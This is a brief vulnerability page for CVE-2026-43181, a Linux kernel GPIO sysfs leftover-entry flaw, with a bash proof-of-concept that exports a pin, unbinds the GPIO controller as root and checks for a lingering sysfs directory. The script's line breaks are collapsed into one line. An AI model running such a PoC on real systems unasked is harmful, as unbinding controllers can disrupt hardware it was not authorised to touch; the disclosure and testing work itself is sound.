CVE-2026-43181: Linux内核GPIO sysfs资源残留漏洞

#!/bin/bash # PoC for CVE-2026-43181: GPIO sysfs chip removal issue # This script demonstrates the lingering sysfs entry after unbinding the controller. GPIO_CHIP="gpiochip0" # Example chip, may vary depending on hardware GPIO_PIN="0" # Example pin # Check if running as root (required for unbind) if [ "$EUID" -ne 0 ]; then echo "Please run as root to test the unbind vulnerability." exit 1 fi echo "[*] Exporting GPIO pin $GPIO_PIN..." echo $GPIO_PIN > /sys/class/gpio/export 2>/dev/null if [ $? -ne 0 ]; then echo "[-] Failed to export GPIO. Check permissions or pin status." exit 1 fi sleep 1 echo "[+] GPIO exported. Checking /sys/class/gpio/gpio$GPIO_PIN..." ls -l /sys/class/gpio/gpio$GPIO_PIN echo "[*] Unbinding the GPIO controller $GPIO_CHIP..." echo $GPIO_CHIP > /sys/bus/gpio/drivers/gpiochip/unbind 2>/dev/null if [ $? -ne 0 ]; then echo "[-] Failed to unbind." echo $GPIO_PIN > /sys/class/gpio/unexport exit 1 fi echo "[*] Controller unbound. Checking for lingering sysfs entry..." # Vulnerability: The directory might still exist if [ -d "/sys/class/gpio/gpio$GPIO_PIN" ]; then echo "[!] Vulnerability confirmed: /sys/class/gpio/gpio$GPIO_PIN still exists after unbind!" else echo "[-] Directory cleaned up properly." fi